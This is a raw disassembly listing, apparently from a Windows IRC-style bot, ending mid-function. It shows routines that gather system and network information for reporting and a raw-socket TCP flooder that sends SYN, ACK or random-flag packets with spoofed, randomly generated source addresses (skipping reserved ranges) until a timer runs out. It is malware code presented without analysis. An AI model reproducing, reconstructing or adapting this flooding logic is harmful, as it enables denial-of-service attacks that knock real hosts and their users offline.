		mov	[ebp+70h+var_8], eax
		push	4
		lea	eax, [ebp+70h+var_8]
		push	eax
		call	dword_433590	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40FF52
		push	dword ptr [eax]
		jmp	short loc_40FF57
; ---------------------------------------------------------------------------


loc_40FF52:				; CODE XREF: sub_40FE1F+12Dj
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40FF57:				; CODE XREF: sub_40FE1F+131j
		lea	eax, [ebp+70h+var_3E4]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	104h
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		call	ds:dword_41F040	; GetSystemDirectoryA
		push	46h
		lea	eax, [ebp+70h+var_114]
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		push	ebx
		mov	esi, 409h
		push	esi
		call	ds:dword_41F068	; GetDateFormatA
		push	46h
		lea	eax, [ebp+70h+var_15C]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_41F064	; GetTimeFormatA
		push	8
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+70h+var_38]
		rep stosd
		lea	eax, [ebp+70h+var_38]
		push	eax
		call	ds:dword_41F108	; GlobalMemoryStatus
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+70h+var_18]
		push	eax
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		call	sub_4141AD
		lea	eax, [ebp+70h+var_18]
		push	eax
		lea	eax, [ebp+70h+var_7E8]
		push	eax
		call	sub_40253D
		push	60h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+70h+var_668]
		push	ebx
		rep movsd
		call	sub_40FD16
		add	esp, 20h
		push	eax
		lea	eax, [ebp+70h+var_15C]
		push	eax
		lea	eax, [ebp+70h+var_114]
		push	eax
		lea	eax, [ebp+70h+var_25C]
		push	eax
		push	[ebp+70h+arg_4]
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+70h+var_3E4]
		push	eax
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		push	[ebp+70h+var_C0]
		lea	eax, [ebp+70h+var_5E8]
		push	[ebp+70h+var_C4]
		push	[ebp+70h+var_C8]
		push	[ebp+70h+var_4]
		push	eax
		lea	eax, [ebp+70h+var_568]
		push	eax
		mov	eax, [ebp+70h+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_402439
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+70h+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_402439
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40FD69
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+70h+arg_0]
		call	sub_412E0D
		mov	eax, [ebp+70h+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_40FE1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_410086	proc near		; CODE XREF: sub_4078FA+33AEp
					; sub_4078FA+44DAp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 8Ch
		push	edi
		push	20h
		pop	ecx
		xor	eax, eax
		cmp	dword_433618, eax
		lea	edi, [ebp+6Ch+var_8C]
		rep stosd
		pop	edi
		jnz	short loc_4100EC
		push	eax
		push	80h
		lea	eax, [ebp+6Ch+var_8C]
		push	eax
		lea	eax, [ebp+6Ch+var_C]
		push	eax
		call	dword_4335E8	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_4100CD
		lea	eax, [ebp+6Ch+var_8C]
		push	offset dword_4271BC
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_4100CD:				; CODE XREF: sub_410086+35j
		test	[ebp+6Ch+var_C], 1
		lea	eax, [ebp+6Ch+var_8]
		jz	short loc_4100E5
		push	offset dword_4271B4


loc_4100DB:				; CODE XREF: sub_410086+64j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_41010A
; ---------------------------------------------------------------------------


loc_4100E5:				; CODE XREF: sub_410086+4Ej
		push	offset dword_4271B0
		jmp	short loc_4100DB
; ---------------------------------------------------------------------------


loc_4100EC:				; CODE XREF: sub_410086+1Dj
		push	esi
		mov	esi, offset off_4271AC
		lea	eax, [ebp+6Ch+var_8]
		push	esi
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+6Ch+var_8C]
		push	esi
		push	eax
		call	sub_412BB5
		add	esp, 10h
		pop	esi


loc_41010A:				; CODE XREF: sub_410086+5Dj
		push	[ebp+6Ch+arg_4]
		push	[ebp+6Ch+arg_8]
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+6Ch+var_8C]
		push	eax
		lea	eax, [ebp+6Ch+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+6Ch+arg_0]
		call	sub_412E0D
		mov	eax, [ebp+6Ch+arg_0]
		add	esp, 1Ch
		add	ebp, 6Ch
		leave
		retn
sub_410086	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41013C	proc near		; CODE XREF: sub_401525+71p
					; sub_410408+1Cp

var_E4		= word ptr -0E4h
var_E2		= word ptr -0E2h
var_E0		= word ptr -0E0h
var_DE		= word ptr -0DEh
var_DC		= word ptr -0DCh
var_DA		= word ptr -0DAh
var_D8		= word ptr -0D8h
var_D6		= word ptr -0D6h
var_D4		= word ptr -0D4h
var_D2		= word ptr -0D2h
var_D0		= word ptr -0D0h
var_CE		= word ptr -0CEh
var_CC		= word ptr -0CCh
var_CA		= word ptr -0CAh
var_C8		= word ptr -0C8h
var_C6		= word ptr -0C6h
var_C4		= word ptr -0C4h
var_C2		= word ptr -0C2h
var_C0		= word ptr -0C0h
var_BE		= word ptr -0BEh
var_BC		= word ptr -0BCh
var_BA		= word ptr -0BAh
var_B8		= word ptr -0B8h
var_B6		= word ptr -0B6h
var_B4		= word ptr -0B4h
var_B2		= word ptr -0B2h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= word ptr -0A0h
var_9E		= word ptr -9Eh
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= word ptr -8Ch
var_8A		= word ptr -8Ah
var_88		= word ptr -88h
var_86		= word ptr -86h
var_84		= word ptr -84h
var_82		= word ptr -82h
var_80		= word ptr -80h
var_7E		= word ptr -7Eh
var_7C		= word ptr -7Ch
var_7A		= word ptr -7Ah
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= word ptr -74h
var_72		= word ptr -72h
var_70		= word ptr -70h
var_6E		= word ptr -6Eh
var_6C		= word ptr -6Ch
var_6A		= word ptr -6Ah
var_68		= word ptr -68h
var_66		= word ptr -66h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= word ptr -60h
var_5E		= word ptr -5Eh
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= word ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0E4h
		xor	eax, eax
		mov	[ebp+74h+var_E4], ax
		mov	[ebp+74h+var_E2], 1
		mov	[ebp+74h+var_E0], 2
		mov	[ebp+74h+var_DE], 5
		mov	[ebp+74h+var_DC], 7
		mov	[ebp+74h+var_DA], 0Bh
		mov	[ebp+74h+var_D8], 17h
		mov	[ebp+74h+var_D6], 1Bh
		mov	[ebp+74h+var_D4], 1Fh
		mov	[ebp+74h+var_D2], 24h
		mov	[ebp+74h+var_D0], 25h
		mov	[ebp+74h+var_CE], 27h
		mov	[ebp+74h+var_CC], 29h
		mov	[ebp+74h+var_CA], 2Ah
		mov	[ebp+74h+var_C8], 31h
		mov	[ebp+74h+var_C6], 32h
		mov	[ebp+74h+var_C4], 49h
		mov	[ebp+74h+var_C2], 4Ah
		mov	[ebp+74h+var_C0], 4Bh
		mov	[ebp+74h+var_BE], 4Ch
		mov	[ebp+74h+var_BC], 4Dh
		mov	[ebp+74h+var_BA], 4Eh
		mov	[ebp+74h+var_B8], 4Fh
		mov	[ebp+74h+var_B6], 59h
		mov	[ebp+74h+var_B4], 5Ah
		mov	[ebp+74h+var_B2], 5Bh
		mov	[ebp+74h+var_B0], 5Ch
		mov	[ebp+74h+var_AE], 5Dh
		mov	[ebp+74h+var_AC], 5Eh
		mov	[ebp+74h+var_AA], 5Fh
		mov	[ebp+74h+var_A8], 60h
		mov	[ebp+74h+var_A6], 61h
		mov	[ebp+74h+var_A4], 62h
		mov	[ebp+74h+var_A2], 63h
		mov	[ebp+74h+var_A0], 64h
		mov	[ebp+74h+var_9E], 65h
		mov	[ebp+74h+var_9C], 66h
		mov	[ebp+74h+var_9A], 67h
		mov	[ebp+74h+var_98], 68h
		mov	[ebp+74h+var_96], 69h
		mov	[ebp+74h+var_94], 6Ah
		mov	[ebp+74h+var_92], 6Bh
		mov	[ebp+74h+var_90], 6Ch
		mov	[ebp+74h+var_8E], 6Dh
		mov	[ebp+74h+var_8C], 6Eh
		mov	[ebp+74h+var_8A], 6Fh
		mov	[ebp+74h+var_88], 70h
		mov	[ebp+74h+var_86], 71h
		mov	[ebp+74h+var_84], 72h
		mov	[ebp+74h+var_82], 73h
		mov	[ebp+74h+var_80], 74h
		mov	[ebp+74h+var_7E], 75h
		mov	[ebp+74h+var_7C], 76h
		mov	[ebp+74h+var_7A], 77h
		mov	[ebp+74h+var_78], 78h
		mov	[ebp+74h+var_76], 79h
		mov	[ebp+74h+var_74], 7Ah
		mov	[ebp+74h+var_72], 7Bh
		mov	[ebp+74h+var_70], 7Ch
		mov	[ebp+74h+var_6E], 7Dh
		mov	[ebp+74h+var_6C], 7Eh
		mov	[ebp+74h+var_6A], 7Fh
		mov	[ebp+74h+var_68], 0ADh
		mov	[ebp+74h+var_66], 0AEh
		mov	[ebp+74h+var_64], 0AFh
		mov	[ebp+74h+var_62], 0B0h
		mov	[ebp+74h+var_60], 0B1h
		mov	[ebp+74h+var_5E], 0B2h
		mov	[ebp+74h+var_5C], 0B3h
		mov	[ebp+74h+var_5A], 0B4h
		mov	[ebp+74h+var_58], 0B5h
		mov	[ebp+74h+var_56], 0B6h
		mov	[ebp+74h+var_54], 0B7h
		mov	[ebp+74h+var_52], 0B8h
		mov	[ebp+74h+var_50], 0B9h
		mov	[ebp+74h+var_4E], 0BAh
		mov	[ebp+74h+var_4C], 0BBh
		mov	[ebp+74h+var_4A], 0BDh
		mov	[ebp+74h+var_48], 0BEh
		mov	[ebp+74h+var_46], 0C5h
		mov	[ebp+74h+var_44], 0DFh
		mov	[ebp+74h+var_42], 0E0h
		mov	[ebp+74h+var_40], 0E1h
		mov	[ebp+74h+var_3E], 0E2h
		mov	[ebp+74h+var_3C], 0E3h
		mov	[ebp+74h+var_3A], 0E4h
		mov	[ebp+74h+var_38], 0E5h
		mov	[ebp+74h+var_36], 0E6h
		mov	[ebp+74h+var_34], 0E7h
		mov	[ebp+74h+var_32], 0E8h
		mov	[ebp+74h+var_30], 0E9h
		mov	[ebp+74h+var_2E], 0EAh
		mov	[ebp+74h+var_2C], 0EBh
		mov	[ebp+74h+var_2A], 0ECh
		mov	[ebp+74h+var_28], 0EDh
		mov	[ebp+74h+var_26], 0EEh
		mov	[ebp+74h+var_24], 0EFh
		mov	[ebp+74h+var_22], 0F0h
		mov	[ebp+74h+var_20], 0F1h
		mov	[ebp+74h+var_1E], 0F2h
		mov	[ebp+74h+var_1C], 0F3h
		mov	[ebp+74h+var_1A], 0F4h
		mov	[ebp+74h+var_18], 0F5h
		mov	[ebp+74h+var_16], 0F6h
		mov	[ebp+74h+var_14], 0F7h
		mov	[ebp+74h+var_12], 0F8h
		mov	[ebp+74h+var_10], 0F9h
		mov	[ebp+74h+var_E], 0FAh
		mov	[ebp+74h+var_C], 0FBh
		mov	[ebp+74h+var_A], 0FCh
		mov	[ebp+74h+var_8], 0FDh
		mov	[ebp+74h+var_6], 0FEh
		mov	[ebp+74h+var_4], 0FFh


loc_4103ED:				; CODE XREF: sub_41013C+2BFj
		movsx	ecx, [ebp+eax*2+74h+var_E4]
		cmp	[ebp+74h+arg_0], ecx
		jz	short loc_410404
		inc	eax
		cmp	eax, 71h
		jb	short loc_4103ED
		xor	al, al


loc_4103FF:				; CODE XREF: sub_41013C+2CAj
		add	ebp, 74h
		leave
		retn
; ---------------------------------------------------------------------------


loc_410404:				; CODE XREF: sub_41013C+2B9j
		mov	al, 1
		jmp	short loc_4103FF
sub_41013C	endp


; =============== S U B	R O U T	I N E =======================================



sub_410408	proc near		; CODE XREF: sub_41046C+1B9p
		push	ebx
		push	esi
		push	edi
		call	sub_412D71
		mov	edi, 0FFh
		jmp	short loc_41041C
; ---------------------------------------------------------------------------


loc_410417:				; CODE XREF: sub_410408+24j
		call	sub_412D71


loc_41041C:				; CODE XREF: sub_410408+Dj
		cdq
		mov	ecx, edi
		idiv	ecx
		mov	esi, edx
		push	esi
		call	sub_41013C
		test	al, al
		pop	ecx
		jnz	short loc_410417
		call	sub_412D71
		cdq
		mov	edi, 100h
		mov	ecx, edi
		idiv	ecx
		mov	ebx, edx
		call	sub_412D71
		cdq
		idiv	edi
		mov	edi, edx
		call	sub_412D71
		cdq
		mov	ecx, 0FEh
		idiv	ecx
		mov	eax, edx
		inc	eax
		shl	eax, 8
		add	eax, edi
		shl	eax, 8
		add	eax, ebx
		shl	eax, 8
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebx
		retn
sub_410408	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41046C	proc near		; DATA XREF: sub_4078FA+4F6Do

var_13B0	= word ptr -13B0h
var_BE0		= byte ptr -0BE0h
var_BDF		= byte ptr -0BDFh
var_BCC		= byte ptr -0BCCh
var_BC0		= byte ptr -0BC0h
var_BB8		= byte ptr -0BB8h
var_410		= byte ptr -410h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= word ptr -5Eh
var_5C		= byte ptr -5Ch
var_48		= qword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 13B0h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		and	[ebp+var_BE0], 0
		push	ebx
		push	esi
		push	edi
		mov	ebx, ds:dword_41F004
		mov	esi, eax
		push	6Ah
		pop	ecx
		lea	edi, [ebp+var_210]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1A4h], esi
		xor	eax, eax
		mov	ecx, 1F3h
		lea	edi, [ebp+var_BDF]
		rep stosd
		stosw
		stosb
		call	ebx	; GetTickCount
		push	eax
		call	sub_412D64
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4334A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jnz	short loc_410535
		call	dword_433558	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_410]
		push	offset aTcpErrorSocket ; "[TCP]: Error:	socket() failed, returned"...
		push	eax
		call	sub_412BB5
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_70], esi
		jnz	short loc_410516


loc_4104F6:				; CODE XREF: sub_41046C+5B1j
		push	esi
		push	[ebp+var_74]
		lea	eax, [ebp+var_410]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_210]
		call	sub_4045DD
		add	esp, 14h


loc_410516:				; CODE XREF: sub_41046C+88j
					; sub_41046C+5ABj
		lea	eax, [ebp+var_410]
		push	eax
		call	sub_401C33
		push	[ebp+var_8C]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_4109DB
; ---------------------------------------------------------------------------


loc_410535:				; CODE XREF: sub_41046C+66j
		push	4
		lea	ecx, [ebp+var_38]
		push	ecx
		push	2
		xor	edi, edi
		push	edi
		push	eax
		mov	[ebp+var_38], esi
		call	dword_4334BC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410578
		call	dword_433558	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_410]
		push	offset aTcpErrorSetsoc ; "[TCP]: Error:	setsockopt() failed, retu"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_41056A:				; CODE XREF: sub_41046C+131j
		cmp	[ebp+var_70], edi
		jnz	loc_4109C1
		jmp	loc_4109A1
; ---------------------------------------------------------------------------


loc_410578:				; CODE XREF: sub_41046C+E1j
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_433514	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41059F
		lea	eax, [ebp+var_410]
		push	offset aTcpInvalidTarg ; "[TCP]: Invalid target	IP."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_41056A
; ---------------------------------------------------------------------------


loc_41059F:				; CODE XREF: sub_41046C+11Cj
		xor	eax, eax
		lea	edi, [ebp+var_48]
		stosd
		stosd
		stosd
		stosd
		xor	edi, edi
		push	edi
		mov	word ptr [ebp+var_48], 2
		call	dword_4335EC	; ntohs
		mov	word ptr [ebp+var_48+2], ax
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_433514	; inet_addr
		mov	dword ptr [ebp+var_48+4], eax
		mov	[ebp+arg_0], edi
		call	ebx	; GetTickCount
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], 45h
		mov	[ebp+var_2C], si
		mov	[ebp+var_2A], di
		mov	[ebp+var_27], 6
		call	ebx	; GetTickCount
		sub	eax, [ebp+var_34]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_7C]
		ja	loc_410956
		and	[ebp+var_60], 0
		mov	byte ptr [ebp+var_8], 50h
		mov	word ptr [ebp+var_8+6],	di
		mov	[ebp+var_5F], 6


loc_41060A:				; CODE XREF: sub_41046C+4E4j
		call	sub_412D71
		cdq
		mov	ecx, 80h
		idiv	ecx
		mov	[ebp+var_26], di
		add	dl, cl
		cmp	[ebp+var_78], edi
		mov	[ebp+var_28], dl
		jz	short loc_41062C
		call	sub_410408
		jmp	short loc_41063F
; ---------------------------------------------------------------------------


loc_41062C:				; CODE XREF: sub_41046C+1B7j
		push	[ebp+var_210]
		call	sub_406C33
		pop	ecx
		push	eax
		call	dword_433514	; inet_addr


loc_41063F:				; CODE XREF: sub_41046C+1BEj
		cmp	[ebp+var_80], edi
		mov	[ebp+var_24], eax
		jz	short loc_41066F
		call	sub_412D71
		mov	esi, eax
		call	sub_412D71
		add	eax, esi
		cdq
		idiv	[ebp+var_80]
		push	dword ptr [ebp+var_48+4]
		mov	esi, edx
		call	dword_433570	; ntohl
		add	eax, esi
		push	eax
		call	dword_4335C4	; ntohl
		jmp	short loc_410672
; ---------------------------------------------------------------------------


loc_41066F:				; CODE XREF: sub_41046C+1D9j
		mov	eax, dword ptr [ebp+var_48+4]


loc_410672:				; CODE XREF: sub_41046C+201j
		cmp	[ebp+var_88], edi
		mov	[ebp+var_20], eax
		jnz	short loc_4106BE
		call	sub_412D71
		mov	esi, eax
		inc	esi
		call	sub_412D71
		cdq
		idiv	esi
		push	ecx
		push	ecx
		mov	[ebp+var_1C], eax
		fild	[ebp+var_1C]
		fstp	[esp+8+var_8]
		call	sub_414670
		pop	ecx
		pop	ecx
		call	sub_414794
		mov	esi, eax
		call	sub_412D71
		add	eax, esi
		cdq
		mov	ecx, 0FBFEh
		idiv	ecx
		add	edx, 401h
		push	edx
		jmp	short loc_4106C4
; ---------------------------------------------------------------------------


loc_4106BE:				; CODE XREF: sub_41046C+20Fj
		push	[ebp+var_88]


loc_4106C4:				; CODE XREF: sub_41046C+250j
		call	dword_4335EC	; ntohs
		cmp	[ebp+var_84], edi
		mov	[ebp+var_12], ax
		jnz	short loc_410717
		call	sub_412D71
		mov	esi, eax
		inc	esi
		call	sub_412D71
		cdq
		idiv	esi
		push	ecx
		push	ecx
		mov	[ebp+var_1C], eax
		fild	[ebp+var_1C]
		fstp	[esp+8+var_8]
		call	sub_414670
		pop	ecx
		pop	ecx
		call	sub_414794
		mov	esi, eax
		call	sub_412D71
		add	eax, esi
		cdq
		mov	ecx, 0FBFEh
		idiv	ecx
		add	edx, 401h
		push	edx
		jmp	short loc_41071D
; ---------------------------------------------------------------------------


loc_410717:				; CODE XREF: sub_41046C+268j
		push	[ebp+var_84]


loc_41071D:				; CODE XREF: sub_41046C+2A9j
		call	dword_4335EC	; ntohs
		mov	[ebp+var_14], ax
		call	sub_412D71
		cdq
		mov	esi, 100h
		mov	ecx, esi
		idiv	ecx
		mov	ebx, edx
		shl	ebx, 8
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		add	ebx, edx
		shl	ebx, 8
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		add	ebx, edx
		shl	ebx, 8
		call	sub_412D71
		cdq
		idiv	esi
		add	ebx, edx
		mov	[ebp+var_10], ebx
		call	sub_412D71
		shl	eax, 1
		cdq
		mov	ecx, 578h
		idiv	ecx
		lea	eax, [ebp+var_18C]
		push	offset aSyn_0	; "syn"
		push	eax
		mov	ebx, edx
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_410797
		mov	[ebp+var_C], edi
		mov	byte ptr [ebp+var_8+1],	2
		jmp	short loc_410809
; ---------------------------------------------------------------------------


loc_410797:				; CODE XREF: sub_41046C+320j
		lea	eax, [ebp+var_18C]
		push	offset aAck	; "ack"
		push	eax
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4107C3
		call	sub_412D71
		mov	esi, eax
		shl	esi, 10h
		call	sub_412D71
		mov	byte ptr [ebp+var_8+1],	18h
		jmp	short loc_410804
; ---------------------------------------------------------------------------


loc_4107C3:				; CODE XREF: sub_41046C+340j
		lea	eax, [ebp+var_18C]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_410809
		call	sub_412D71
		push	2
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4107F1
		mov	byte ptr [ebp+var_8+1],	cl
		mov	[ebp+var_C], edi
		jmp	short loc_410809
; ---------------------------------------------------------------------------


loc_4107F1:				; CODE XREF: sub_41046C+37Bj
		mov	byte ptr [ebp+var_8+1],	18h
		call	sub_412D71
		mov	esi, eax
		shl	esi, 10h
		call	sub_412D71


loc_410804:				; CODE XREF: sub_41046C+355j
		or	esi, eax
		mov	[ebp+var_C], esi


loc_410809:				; CODE XREF: sub_41046C+329j
					; sub_41046C+36Cj ...
		lea	eax, [ebx+28h]
		push	eax
		call	dword_4335EC	; ntohs
		push	2000h
		mov	[ebp+var_2E], ax
		call	dword_4335EC	; ntohs
		mov	word ptr [ebp+var_8+2],	ax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_68], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		lea	eax, [ebx+14h]
		push	eax
		mov	word ptr [ebp+var_8+4],	di
		call	dword_4335EC	; ntohs
		mov	[ebp+var_5E], ax
		mov	eax, ebx
		cdq
		sub	eax, edx
		mov	esi, eax
		sar	esi, 1
		cmp	esi, edi
		jle	short loc_410863


loc_410851:				; CODE XREF: sub_41046C+3F5j
		call	sub_412D71
		mov	[ebp+edi*2+var_13B0], ax
		inc	edi
		cmp	edi, esi
		jl	short loc_410851


loc_410863:				; CODE XREF: sub_41046C+3E3j
		push	5
		pop	ecx
		push	8
		lea	esi, [ebp+var_14]
		lea	edi, [ebp+var_5C]
		rep movsd
		pop	ecx
		lea	esi, [ebp+var_68]
		lea	edi, [ebp+var_BE0]
		rep movsd
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_13B0]
		lea	edi, [ebp+var_BC0]
		rep movsd
		mov	ecx, eax
		lea	eax, [ebx+20h]
		push	eax
		lea	eax, [ebp+var_BE0]
		and	ecx, 3
		push	eax
		rep movsb
		call	sub_406C89
		push	5
		pop	ecx
		push	5
		mov	word ptr [ebp+var_8+4],	ax
		lea	esi, [ebp+var_30]
		lea	edi, [ebp+var_BE0]
		rep movsd
		pop	ecx
		lea	esi, [ebp+var_14]
		lea	edi, [ebp+var_BCC]
		rep movsd
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_13B0]
		lea	edi, [ebp+var_BB8]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		lea	edi, [ebp+ebx+var_BB8]
		stosd
		add	ebx, 28h
		lea	eax, [ebp+var_BE0]
		push	ebx
		push	eax
		call	sub_406C89
		add	esp, 10h
		push	5
		pop	ecx
		push	10h
		mov	[ebp+var_26], ax
		lea	esi, [ebp+var_30]
		lea	edi, [ebp+var_BE0]
		lea	eax, [ebp+var_48]
		push	eax
		rep movsd
		xor	esi, esi
		push	esi
		push	ebx
		lea	eax, [ebp+var_BE0]
		push	eax
		push	[ebp+var_18]
		call	dword_433470	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4109E1
		inc	[ebp+arg_0]
		call	ds:dword_41F004	; GetTickCount
		sub	eax, [ebp+var_34]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edi, edi
		cmp	eax, [ebp+var_7C]
		jbe	loc_41060A


loc_410956:				; CODE XREF: sub_41046C+188j
		push	[ebp+var_18]
		call	dword_4335AC	; closesocket
		mov	eax, [ebp+arg_0]
		imul	eax, 7D0h
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+var_7C]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_410]
		push	offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		cmp	[ebp+var_70], edi
		jnz	short loc_4109C1


loc_4109A1:				; CODE XREF: sub_41046C+107j
		push	edi
		push	[ebp+var_74]
		lea	eax, [ebp+var_410]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_210]
		call	sub_4045DD
		add	esp, 14h


loc_4109C1:				; CODE XREF: sub_41046C+101j
					; sub_41046C+533j
		lea	eax, [ebp+var_410]
		push	eax
		call	sub_401C33
		push	[ebp+var_8C]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	edi


loc_4109DB:				; CODE XREF: sub_41046C+C4j
		call	ds:dword_41F014	; ExitThread


loc_4109E1:				; CODE XREF: sub_41046C+4C4j
		push	[ebp+var_18]
		call	dword_4335AC	; closesocket
		call	dword_433558	; WSAGetLastError
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20C]
		push	eax
